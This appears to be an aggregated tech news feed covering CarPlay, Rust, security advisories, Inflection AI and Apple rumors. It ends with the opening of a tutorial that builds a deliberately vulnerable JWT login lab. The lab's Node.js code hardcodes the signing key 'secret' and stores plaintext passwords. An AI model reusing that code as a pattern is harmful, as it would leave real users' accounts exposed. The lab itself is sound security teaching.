new collection of wallpapers inspired by the latest system design. The updated backgrounds closely match the look found across iOS 27 and macOS Golden Gate. CarPlay app icons also adopt Apple's latest Liquid Glass styling, creating a more modern appearance while keeping familiar layouts intact. Better Media Playback Controls Media playback receives several practical improvements that users have requested for years. New MiniPlayer Media applications now display a MiniPlayer in the upper-right corner of the interface. Instead of showing a simple waveform icon, the MiniPlayer includes: Album artwork Play and pause controls Quick access to currently playing content This allows users to keep playback controls visible while browsing music or podcasts. Audio Scrubbing Finally Arrives One of the most welcome additions is audio scrubbing. Users can now drag the playback progress bar directly from the Now Playing screen to move forward or backward through songs, podcasts, and supported audio content. Apple has also enlarged the progress indicator, making it easier to use on a vehicle's touchscreen. This small feature significantly improves everyday usability, especially for podcasts and long playlists. Compatibility The new CarPlay features require: RequirementStatusiPhone running iOS 27RequiredCompatible CarPlay vehicleRequiredNative video appsRequires automaker supportSiri AIAvailable on supported iPhones with iOS 27 Wrap Up CarPlay in iOS 27 focuses on practical improvements instead of introducing an entirely new interface. Siri AI is the standout addition thanks to its stronger conversational abilities and conversation history syncing, while native video apps open new possibilities for entertainment when parked. Meanwhile, smaller upgrades such as the MiniPlayer, audio scrubbing, refreshed wallpapers, and updated icons make the overall experience feel more polished. Although some features depend on automaker support, iOS 27 delivers one of the most useful CarPlay updates Apple has released in recent years.

This Week In Rust: This Week in Rust 661

Thu, 23 Jul 2026 07:18:12 +0200

Hello and welcome to another issue of This Week in Rust! Rust is a programming language empowering everyone to build reliable and efficient software. This is a weekly summary of its progress and community. Want something mentioned? Tag us at @thisweekinrust.bsky.social on Bluesky or @ThisWeekinRust on mastodon.social, or send us a pull request. Want to get involved? We love contributions.

This Week in Rust is openly developed on GitHub and archives can be viewed at this-week-in-rust.org. If you find any errors in this week's issue, please submit a PR.

Want TWIR in your inbox? Subscribe here.

Updates from Rust Community

Official

Announcing Rust 1.97.1

Newsletters

The Embedded Rustacean Issue #76

Project/Tooling Updates

Observations/Thoughts

Rust Walkthroughs

Crate of the Week

This week's crate is xan, a TUI toolkit to work with CSV files.

Thanks to Simeon H.K. Fitch for the suggestion!

Please submit your suggestions and votes for next week!

Calls for Testing

An important step for RFC implementation is for people to experiment with the implementation and give feedback, especially before stabilization.

If you are a feature implementer and would like your RFC to appear in this list, add a call-for-testing label to your RFC along with a comment providing testing instructions and/or guidance on which aspect(s) of the feature need testing.

No calls for testing were issued this week by Rust, Cargo, Rustup or Rust language RFCs.

Let us know if you would like your feature to be tracked as a part of this list.

Call for Participation; projects and speakers

CFP - Projects

Always wanted to contribute to open-source projects but did not know where to start? Every week we highlight some tasks from the Rust community for you to pick and get started!

Some of these tasks may also have mentors available, visit the task page for more information.

No Calls for participation were submitted this week.

If you are a Rust project owner and are looking for contributors, please submit tasks here or through a PR to TWiR or by reaching out on Bluesky or Mastodon!

CFP - Events

Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.

No Calls for papers or presentations were submitted this week.

If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a PR to TWiR or by reaching out on Bluesky or Mastodon!

Updates from the Rust Project

576 pull requests were merged in the last week

Compiler

Library

Cargo

Rustdoc

Clippy

Rust-Analyzer

Rust Compiler Performance Triage

The two most notable changes this week were #159115, which resulted in pretty nice instruction count wins for full incremental builds on several benchmarks, and #159091, which enabled PGO for rustdoc, which makes it ~3-4% faster across the board.

There were two large rollups with tiny performance regressions, which made it difficult to find the offending PRs.

Triage done by @Kobzol. Revision range: 5503df87..d527bc9b

Summary:

(instructions:u)	mean	range	count
Regressions ❌ (primary)	0.4%	[0.2%, 1.0%]	40
Regressions ❌ (secondary)	0.7%	[0.2%, 4.6%]	69
Improvements ✅ (primary)	-2.0%	[-6.2%, -0.2%]	136
Improvements ✅ (secondary)	-2.6%	[-8.4%, -0.2%]	119
All ❌✅ (primary)	-1.4%	[-6.2%, 1.0%]	176

2 Regressions, 3 Improvements, 6 Mixed; 4 of them in rollups 34 artifact comparisons made in total

Full report here.

Approved RFCs

Changes to Rust follow the Rust RFC (request for comments) process. These are the RFCs that were approved for implementation this week:

No RFCs were approved this week.

Final Comment Period

Every week, the team announces the 'final comment period' for RFCs and key PRs which are reaching a decision. Express your opinions now.

Tracking Issues & PRs

Rust

Compiler Team (MCPs only)

Leadership Council

Deallocate post-2026 funds from PM and compiler-ops

Unsafe Code Guidelines

Do the bytes of a pointer have to stay in the same order?

No Items entered Final Comment Period this week for Cargo, Language Reference, Language Team or Rust RFCs.

Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.

New and Updated RFCs

RFC: Refactor the libs team

Upcoming Events

Rusty Events between 2026-07-22 - 2026-08-19 🦀

South America

2026-08-08 | São Paulo, SP | Rust-SP
- Rust SP - Aug/2026

If you are running a Rust event please add it to the calendar to get it mentioned here. Please remember to add a link to the event too. Email the Rust Community Team for access.

Jobs

Please see the latest Who's Hiring thread on r/rust

Quote of the Week

We were planning on publishing a blog post announcing this at the same time as making the repo public, but ran out of private repo CI usage 😭.

– Carl Lerche on r/rust about the launch of topcoat

Despite a lamentable lack of suggestions, llogiq is glad to have found this quote.

Please submit quotes and vote for next week!

This Week in Rust is edited by:

Email list hosting is sponsored by The Rust Foundation

Discuss on r/rust

CVE-2022-3957 | GPAC SVG Parser svg_attributes.c svg_parse_preserveaspectratio memory leak (EUVD-2022-43290)

Thu, 23 Jul 2026 06:30:33 +0200

A vulnerability was found in GPAC and classified as problematic. The impacted element is the function svg_parse_preserveaspectratio of the file scenegraph/svg_attributes.c of the component SVG Parser. The manipulation results in memory leak. This vulnerability is reported as CVE-2022-3957. The attack can be launched remotely. No exploit exists. It is best practice to apply a patch to resolve this issue.

Going back to Linux full-time after many years

Thu, 23 Jul 2026 04:21:44 +0200

I've been using PCs since 1998. Around 2000 I started with PCLOS. Because they had the friendliest user forum for noobs. Also back then PCLOS was like the Mint of today. The easiest distro for noobs. I had to buy an external modem to get dialup. And TexStar the creator personally held my hand to get the modem configured.

Back then laptops were outrageously expensive. So I built a desktop. I had removable drawers for the hard drives that I used to clone back & forth. Because I would destroy my W98se installs. I created a PCLOS live CD. I removed both HDD. Booted to PCLOS. I started laughing like crazy because I was using my PC without a HDD! I was gobstruck.

Fast forward to around the present day. I can't remember what year I started using Linux full-time. I'm old & my memory is terrible. I think I lasted around a year then went back to Windows. And the reason I went backwards was so stupid it's shocking. It was because a fast Windows surfing session for me was 1hr-1.5hrs. Where as in Linux it was only 20minutes. I went back to Windows because Linux was too EASY!

Anyways W7 was rock solid for me. After a Vista nightmare I went back to W7. Stayed on W7 till 2023. Then jumped to W11. Since W7 I think I borked 2-3 W installs. That was until W11 25H2. What a POS.

In the last 5 weeks three W11 installs were borked. I blame M$ & 25H2. I know when a bork is my fault. These were not.

I got a new used ThinkPad X1 Carbon Gen 4 16GB 6th Gen i7 6600 2016. Installed Mint Cinnamon for a few days. It was clunky & froze a couple on the ancient hardware.

I then installed Debian LXQT 13.6. Wow Debian is much easier than 15 years ago. LOL. Everything is snappy except Zoom. My hardware won't run the Zoom app. But Zoom worked ok in a browser. I disabled a few unnecessary auto start services now Zoom & everything runs well.

I have one other primary laptop to install Linux.

I hope I don't go backwards to Windows.

submitted by /u/ReporterWise7445
[link] [comments]

Now that's one way to block annoying online ads — developer uses a $5 dongle to squeeze in 537,000 domains into just 4MB of flash memory

Thu, 23 Jul 2026 01:32:48 +0200

Egyptian developer ZedAxis has demonstrated his $5 ad-blocking dongle in a YouTube video, with the device said to be capable of blocking over 500,000 domains

USN-8591-1: AIOHTTP vulnerabilities

Thu, 23 Jul 2026 01:31:22 +0200

Sean Gilligan discovered that AIOHTTP did not properly limit memory usage when processing HTTP headers and trailers. An attacker could possibly use this issue to consume excessive system resources, resulting in a denial of service. (CVE-2026-22815) It was discovered that AIOHTTP did not properly limit the size of its DNS cache. An attacker could possibly use this issue to consume excessive system resources, resulting in a denial of service. (CVE-2026-34513) Mingi Jung discovered that AIOHTTP did not properly sanitize the content_type parameter. An attacker could possibly use this issue to inject malicious HTTP headers, resulting in HTTP response splitting. (CVE-2026-34514) It was discovered that AIOHTTP did not properly limit memory usage when processing multipart headers. An attacker could possibly use this issue to consume excessive system resources, resulting in a denial of service. (CVE-2026-34516)

OpenClaw security best practices for CISOs

Wed, 22 Jul 2026 23:04:15 +0200

OpenClaw has become one of the fastest adopted open source tools in recent memory. Originally released in late 2025 under the name Clawdbot, this autonomous AI agent now boasts hundreds of thousands of GitHub stars and a rapidly expanding ecosystem…

The post OpenClaw security best practices for CISOs appeared first on IT Security News.

Inflection AI returns to consumer market with Pi Journeys after Microsoft upheaval

Wed, 22 Jul 2026 22:58:21 +0200

Inflection AI, the Palo Alto startup that two years ago became Silicon Valley's most famous cautionary tale about the brutal economics of frontier AI, announced Tuesday that it is returning to the consumer market with a new research division and an experimental product built around a provocative thesis: the next competitive battleground in AI won't be raw intelligence, but relationships.

The company launched Inflection AI Labs, a public-facing research and experimentation arm, alongside Pi Journeys, the lab's first product experiment — an AI experience designed to adapt to a user's life stage, whether that's becoming a parent, taking on caregiving duties, changing careers, or aging. The announcement arrived with a research report on consumer AI habits and a substantial update to Pi, the company's flagship chatbot, adding improved voice, memory, and new agentic tools for reminders, to-do lists, and shopping.

"Inflection AI is the company. Pi is our flagship consumer product. Inflection AI Labs is where we experiment, explore personal intelligence and share more publicly. Pi Journeys is the first public experiment from Inflection AI Labs," CEO Sean White told VentureBeat in an exclusive interview.

Behind the tidy org chart is a far more interesting story: a company attempting one of the more unusual second acts in the AI industry, powered by an argument that the entire market is optimizing for the wrong thing.

Why Inflection AI believes the chatbot era's biggest flaw is that it's transactional

White's central claim is that today's AI assistants — including the industry's most capable models — are fundamentally transactional. You ask, they answer, the session ends. He believes that architecture misses most of what people actually need from artificial intelligence in their daily lives.

"One of the things that really struck us in particular, and this showed up in the research, was that a lot of the work is very transactional, and you'll hear me say a lot that we've been shifting all this from transactional to relational systems," White said. "Not everything is going to be: I do a single turn, I utter a question, I get a search response back."

White frames the industry's evolution as a progression through four kinds of intelligence. First came raw IQ — the foundation model race. Then emotional intelligence, which Inflection made its signature with Pi's famously warm conversational style. Then agentic intelligence — AI that acts rather than just talks — which White says Inflection absorbed from its enterprise work. The fourth, and the one Inflection is now staking its future on, is what the company calls relational intelligence: AI that understands not just you, but the web of people around you.

"There's so much fear about these things pushing people into loneliness,” White said. “If we design these pro-social systems as another design criteria, that actually makes a huge difference."

That design philosophy is a pointed counter-narrative to one of the loudest anxieties in consumer AI right now: that emotionally engaging chatbots deepen isolation by substituting for human contact. Inflection argues the opposite is possible — that an AI with structured knowledge of your relationships can push you back toward people rather than away from them.

Inside Pi Journeys, the AI companion that maps your relationships and life stages

Pi Journeys makes that idea concrete. When users first open the product, it asks about their life stage — caregiver, household manager, midlife transition — and then builds what White describes as specially structured memory around the people who matter in that context. From there, the system becomes proactive.

"It starts to build up memories around that, and it acts as a memory prosthetic — but in a pro-social way," White said. "It doesn't get in the way of your interactions with other people; it really helps facilitate them." The system might remind a user, for example, that a friend deserves a call, or resurface what was last discussed with a family member involved in a parent's care.

White, who spent years as chief R&D officer at Mozilla before taking Inflection's helm, was quick to flag the obvious privacy implications of an AI that maps your social graph. "We've built a lot of privacy systems into this," he said, noting users can delete and manage the people recorded in their profile. Whether consumers will trust a venture-backed AI company with a structured database of their most important relationships remains one of the biggest open questions hanging over the product — and one that enterprise buyers evaluating Inflection's technology will watch closely.

Asked why this was the first Labs experiment, White was direct: "Pi Journeys takes into account people's life stages and experiences because we have heard from users that we can provide more value in helping them navigate their lives. Pi Journeys lets us experiment with the early stages of prosocial and relational intelligence because life isn't single-player."

The product has been tested internally and with small closed groups, White said, and is now being released more broadly as an experiment rather than a finished product — a posture the Labs branding is designed to make explicit.

What Inflection's consumer AI research reveals about how people actually use chatbots

Inflection Labs' first publication, the State of Consumer AI Research Report, offers the empirical scaffolding for the strategy. The average consumer now uses roughly two different AI tools every day and three per week, the company found — evidence, in Inflection's reading, that no single assistant has locked up consumer loyalty and that the market remains contestable.

More telling is why people choose the tools they do. Respondents cited personalization, style and tone, context awareness, and — notably — emotional understanding as deciding factors. They also said they want AI to be more than a productivity engine: a coach or mentor to motivate them, a chef to suggest recipes, a DJ to curate playlists.

"One thing we're certainly finding is that a lot of that also is in work, not so much in everyday life," White said. "That's our focus right now — the everyday life part."

This is a shrewd reading of the competitive map. The best-funded AI labs are pouring resources into coding tools, enterprise agents, and developer platforms, leaving everyday consumer use cases comparatively underserved. White sees the gap clearly. "We see a lot of products that are being aimed more and more at the enterprise," he said. "As a computer scientist by training, I kind of love the IDEs as this tool, but it's not really great for everybody. There's so much regular everyday use from folks that is either purely voice or that is purely mobile."

He recalled a conversation with a conference staffer who told him she owned only a phone, no laptop — exactly the kind of user, he argued, that the industry's developer-centric product roadmaps have left behind.

How the $650 million Microsoft deal hollowed out Inflection — and set up its second act

To understand why any of this is remarkable, you have to rewind to March 2024. Inflection was then one of the hottest startups in AI, having raised $1.3 billion in mid-2023 in a round backed by Microsoft, Nvidia, Bill Gates, and Reid Hoffman — more than $1.5 billion in total. Pi had crossed one million daily active users, per Reuters.

Then, in a deal that reshaped how the industry thinks about acqui-hires, Microsoft hired away co-founder and CEO Mustafa Suleyman, chief scientist Karén Simonyan, and most of the company's roughly 70 employees, paying Inflection about $650 million largely to license its technology, as Reuters reported. Suleyman now runs Microsoft's consumer AI business. The structure of the deal drew scrutiny from the FTC and Britain's competition regulator, though the UK's Competition and Markets Authority cleared it in September 2024 and EU regulators declined to act.

White, installed as CEO in the aftermath, steered the remnant company hard toward enterprise, acquiring three startups in late 2024 — Jelled.AI, BoostKPI, and the European consulting firm Boundaryless — and telling TechCrunch that November that Inflection had no intention of competing with companies building 100,000-GPU frontier systems.

Tuesday's announcement doesn't reverse that position so much as complicate it. Asked how to think about the company today, White called it "a consumer-first strategy that bridges both consumer and enterprise efforts" — and he insists the two sides feed each other.

Enterprise deployments, including a partnership with Intel that is among the few he can name publicly, taught Inflection how to run models inside complex infrastructure. Consumer products, meanwhile, let the company iterate at speed. "The part I also like about the consumer side, and this has always been true, is that we can move faster, experiment faster, and try and learn faster," White said.

The six-month prediction: relationship-aware AI is coming to the enterprise

Buried in White's consumer pitch is the claim that should matter most to technical decision-makers. "Normally I'd say like a year, but let's call it six months," he said. "You're going to start to see a bunch of enterprises care a lot more about the relationships that are inside the enterprises and what that picture is, not just the workflows."

If White is right, the wave of workflow-automation agents currently flooding the enterprise market is only the first phase of business AI adoption — with relationship-aware systems, tested first on consumers, following close behind. Inflection is essentially using its consumer products as a live laboratory for capabilities it plans to sell into companies. It's a capital-efficient strategy for a firm that can no longer outspend rivals on training runs, and a risky one, since it depends on consumers showing up in numbers large enough to generate the learning.

The technical substance underneath is equally pragmatic. Pi today runs not on a single proprietary frontier model but on an orchestration layer routing across many models — some descended from Inflection's original fully trained cores, some fine-tuned, some open source, including work with Nvidia that White says gives Inflection access to unreleased cutting-edge models. He also took a swipe at the industry's loose vocabulary around ownership: "When people say that the model is their own, most of the time nowadays — I guess I won't name names — a lot of companies will actually take a checkpoint, and then they will fine-tune from that checkpoint. But very few people actually start from that beginning core."

That candor extends to open source, where White carefully hedged. "We're not ready to promise what I think of as true open source, and by that I mean everything," he said, invoking his Mozilla years overseeing genuinely open projects like Rust and WebAssembly.

Weights without training data and pipelines, he argued, often leave developers unable to do anything meaningful with a supposedly "open" model. "We are a PBC, and there's still a C in there," he added — a reminder that public benefit corporations still have businesses to protect. The Labs will collaborate with academic researchers, including Stanford professors who visited the company's Palo Alto office this week, and continue contributing to open projects such as PyTorch.

Can a diminished Inflection compete with AI giants spending billions?

Reid Hoffman, the LinkedIn co-founder who co-founded Inflection and stayed on through the Microsoft upheaval, framed the announcement in the sweeping terms of his recent writing on AI and human agency. "Humans should be amplified by AI, not replaced. That's the principle Pi was built on," Hoffman said in the announcement. "When that kind of agency is available to everyone, you get superagency."

The skeptic's case is easy to make. Inflection is a fraction of its former size, competing for consumer attention against products from companies spending tens of billions of dollars a year. Pi's model was state of the art in 2023; it is not in 2026. And "relational intelligence" is, for now, a brand claim awaiting proof.

But the bull case is not crazy either. Inflection's own research shows consumers already juggle multiple AI tools and choose them for qualities — tone, emotional understanding, personalization — that frontier labs treat as afterthoughts. The company kept its technology, its Microsoft licensing windfall, and a defensible enterprise niche in on-premise, emotionally intelligent deployments. And it is targeting the one consumer segment — everyday, mobile-first, voice-first life management — that the coding-obsessed giants have largely ignored.

Asked what success looks like twelve months from now, White declined to talk numbers. "It's less about scale for scale's sake and more about scaling for impact by empowering people and improving their lives," he said. "Over the next year, success means leading the market towards relational intelligence and transforming AI interactions from transactional to relational."

Two years ago, Microsoft walked away with Inflection's founders, its staff, and its shot at the frontier — but it left behind the one idea the giants still haven't figured out how to build: an AI that knows the people in your life matter more than the tasks on your list. Inflection is betting the company, again, that the idea was the valuable part all along.

Apple Partners With Klarna To Offer iPhones, Macs On a Subscription Basis

Wed, 22 Jul 2026 22:12:27 +0200

Apple is reportedly launching a Klarna financing deal that will let U.S. customers spread the cost of devices over up to three years, pushing the company closer to a hardware-as-a-service model. "The only thing you don't get under the new arrangement is AppleCare, for which you'll allegedly need to pay extra," notes Computerworld. From the report: The introduction of the scheme gives consumers a way to purchase the company's popular high-end devices when they are introduced -- no doubt,at higher cost -- this fall. [...] A combination of changed customer habits and external threat means the stars are now aligned for hardware-as-a-service models. "Reframing a device as a low monthly payment protects that [upgrade] cadence and allows Apple to start marketing their products as device-as-a-service to consumers, which no other vendor was ever able to do," [IDC analyst Francisco Jeronimo] wrote to me. There is a one-more-thing aspect to this: the products are effectively being leased, a new approach that will give Apple a stronger grip on EOL devices, helping it grab more of them for refurbishment, resale, and recycling. Over time, this will give the company a much stronger grip on the lucrative second-user market that exists around Apple equipment, even while for almost every consumer product we find the life we want is something we can rent, but probably can't afford to own. The other solid reason to take a partnership approach is risk management. Apple had intended to develop its own buy-now, pay-later scheme via Apple Pay Later, but abandoned that plan as it became riskier with rising bank rates. "Also, by backing the program with Klarna rather than reviving the in-house subscription plan it shelved in 2024, Apple captures the demand upside without taking the credit risk onto its own balance sheet," Jeronimo said. "Apple Upgrade lands at precisely the moment Apple needs it," Jeronimo wrote in a note seen by Computerworld. "Having just pushed Mac and iPad prices up on the back of the memory shortage, with iPhone increases widely expected in September -- as well as the new iPhone foldable expected at $2,500 -- Apple's real risk is that rising prices even further can impact the upgrade cycle."

USN-8588-1: Gawk vulnerabilities

Wed, 22 Jul 2026 22:01:42 +0200

It was discovered that Gawk incorrectly handled memory when processing input using the getline redirection. An attacker could possibly use this issue to cause a denial of service. (CVE-2026-40467) It was discovered that Gawk incorrectly handled certain integer calculations when allocating memory. An attacker could possibly use this issue to cause a denial of service or overwrite heap memory with attacker-controlled data. (CVE-2026-40468) It was discovered that Gawk incorrectly handled certain integer calculations when performing substitutions. An attacker could possibly use this issue to cause a denial of service. (CVE-2026-40469) It was discovered that Gawk incorrectly handled memory when reading directory entries. An attacker could possibly use this issue to cause a denial of service or execute arbitrary code. This issue only affected Ubuntu 26.04 LTS. (CVE-2026-40553)

USN-8589-1: Apache HTTP Server vulnerabilities

Wed, 22 Jul 2026 22:01:40 +0200

It was discovered that Apache HTTP Server's mod_ldap module incorrectly handled memory when processing per-directory configurations. A remote attacker could possibly use this issue to cause a denial of service or execute arbitrary code. (CVE-2026-29167) It was discovered that Apache HTTP Server's mod_proxy_ftp module incorrectly handled HTML generation for FTP directory listings. A remote attacker could possibly use this issue to inject arbitrary web script or HTML. (CVE-2026-29170) Nitescu Lucian discovered that Apache HTTP Server's mod_auth_digest module was vulnerable to a timing attack. A remote attacker could possibly use this issue to bypass Digest authentication. (CVE-2026-33006)

MacBook Neo 2 Rumored With A19 Pro Chip, 12GB RAM, and New Colors

Wed, 22 Jul 2026 21:16:12 +0200

Apple is working on a new MacBook Neo with two major hardware upgrades, as the company prepares a wider refresh of its Mac lineup. The second-generation model is expected to use the A19 Pro chip and include more RAM, which should improve everyday performance, multitasking, and support for newer AI features. Bloomberg’s Mark Gurman reports that Apple has tested a refreshed MacBook Neo with the A19 Pro chip and increased memory. The current model uses the A18 Pro chip with 8GB of RAM, while the upcoming version is expected to offer 12GB of RAM. The planned upgrades include: A19 Pro chip: The newer processor should deliver better speed and efficiency than the A18 Pro used in the current MacBook Neo. 12GB of RAM: The extra memory should help users run more apps at the same time and handle heavier browser, productivity, and AI-based tasks. New color options: Apple also plans to refresh the laptop with additional finishes beyond Silver, Blush, Citrus, and Indigo. Apple has not confirmed a launch date, although the first half of next year appears likely because the original MacBook Neo arrived in March. The company plans to update the laptop regularly while keeping it positioned as the most affordable Mac in its lineup. The MacBook Neo now starts at $699 in the United States after Apple raised the price from $599 last month. Eligible students can still buy it for $599 through Apple’s education store, while certified refurbished models also remain available at lower prices. Apple is preparing 11 new Mac models across its laptop and desktop ranges, with the updated MacBook Neo forming part of that broader product plan.

Apple Plans 11 New Macs With M6 Chips, OLED MacBook Pro, New iMac and More

Wed, 22 Jul 2026 21:01:02 +0200

Apple is preparing to update every Mac model it sells over the next two years, with new MacBook Pro, MacBook Air, iMac, Mac mini, Mac Studio and MacBook Neo models now moving through development. Bloomberg’s Mark Gurman reports that Apple will begin the refresh cycle in fall 2026 with an entry-level 14-inch MacBook Pro powered by the M6 chip, alongside the first updated iMac models in two years. Apple Mac roadmap for 2026 and beyond Apple has several Mac launches planned across late 2026, 2027 and 2028, although memory shortages could affect the timing of some desktop models. Entry-level 14-inch MacBook Pro: Apple plans to launch this model in fall 2026 with the M6 chip, while keeping a design similar to the current version. Updated iMac: New iMac models are also expected in fall 2026, with development reportedly complete for devices carrying the internal names J833 and J834. Redesigned MacBook Pro: Apple is preparing new 14-inch and 16-inch models with OLED touchscreens, a revised design and M5 Pro or M5 Max chips for late 2026 or early 2027. MacBook Air: Refreshed 13-inch and 15-inch models are expected in early 2027, although they will remain visually similar to the current generation. Mac mini and Mac Studio: Apple is testing Mac mini models with M5 Pro and M6 chips, while Mac Studio testing includes M5 Max and M5 Ultra options. MacBook Neo: Apple is developing an updated budget model with an A19 Pro chip, additional memory and new colour choices. Apple is also working on a standard M7 MacBook Pro for 2027, followed by high-end M7 Pro and M7 Max models between late 2027 and early 2028. OLED technology will gradually reach more Mac products, with an OLED MacBook Air planned for 2028 at the earliest and an OLED iMac also under development. Apple has not announced launch dates for these future models.

Two Ways To Mess Up Your JWT Safety Net In Your Own Lab.

Wed, 22 Jul 2026 20:59:45 +0200

In the lab we’re going to build today, we’ll talk about JWTs and how they can affect the security of your website. This is a lab that’s been requested, and I could not be happier that the community is actually suggesting things for me to build. It’s a privilege to do this.

JWT As Security Measure

JSON Web Tokens are used a lot by developers. They provide a way to send ‘data’ with them (e.g., a role from a user), to check for authorization. A JWT consists of 3 parts, separated by a ..

Let’s take this JWT as an example.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30

The first part eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 is called 'the header'. It holds information on the type of the JWT. The second part eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0 is the payload, which holds the claims. This is where that 'data' lives. If you decode this with Base64url you'll learn that this token belongs to John Doe and that he is an administrator. The last part is the important part. This is the signature. Each JWT should be signed with a strong password. Ideally that password is saved in a .env file on the server and not in the code.

So now you might wonder, well if it’s signed, nothing can go wrong right? Well, if that were true, I wouldn’t spend my evenings writing these kinds of blog posts now would I 😅.

Let’s Build The Lab Already

You’re right to think this by now. Enough theory, let’s do some hands on keyboard. As always in this series, I’ll provide you with the lab structure and some code to get us started.

Lab Tree

/mediumLabs
└── /JWT
    ├── server.js
    ├── login.html
    ├── index.html
    ├── admin.html
    ├── /node_modules
    ├── /package-lock.json
    └── /package.json

Code

server.js

const express = require('express');
const jwt = require('jsonwebtoken');
const path = require('path');
const Database = require('better-sqlite3');
const app = express();
const JWT_SECRET = 'secret';
const db = new Database(':memory:');
db.exec(`
  CREATE TABLE users (
    id INTEGER PRIMARY KEY,
    username TEXT,
    password TEXT,
    role TEXT
  )
`);
db.prepare("INSERT INTO users (username, password, role) VALUES ('user', 'password', 'user')").run();
app.use(express.urlencoded({ extended: false }));

app.get('/', (req, res) => res.sendFile(path.join(__dirname, 'login.html')));
function getToken(req) {
  const match = (req.headers.cookie || '').match(/token=([^;]+)/);
  return match ? match[1] : null;
}
app.post('/login', (req, res) => {
  const { username, password } = req.body;
  const user = db.prepare('SELECT * FROM users WHERE username = ? AND password = ?').get(username, password);
  if (!user) return res.redirect('/?error=Invalid+credentials');
  const token = jwt.sign({ username: user.username, role: user.role }, JWT_SECRET);
  res.setHeader('Set-Cookie', `token=${token}; Path=/`);
  res.redirect('/index.html');
});
app.get('/index.html', (req, res) => {
  try {
    res.sendFile(path.join(__dirname, 'index.html'));
  } catch {
    res.redirect('/');
  }
});
app.get('/admin', (req, res) => {
});

app.listen(3000, () => console.log('Listening on http://localhost:3000'));

login.html




    
    
    Login


    Login

    
        
            Username: 
        

        
            Password:

index.html

Home

Welcome!

You are logged in as .

Go to Admin Panel

admin.html

Admin Panel

Welcome, admin. Here is the secret flag:

FLAG{JWT}

Back to Home

Let’s Add Some Vulnerabilities

Ok, so now we have our base code, and we need to implement the functionality that will make sure only people with the role admin can navigate to /admin. First off, run npm run dev to see your code actually start.

In a very, very wrong way we already tried implementing security in admin.html. When you look inside the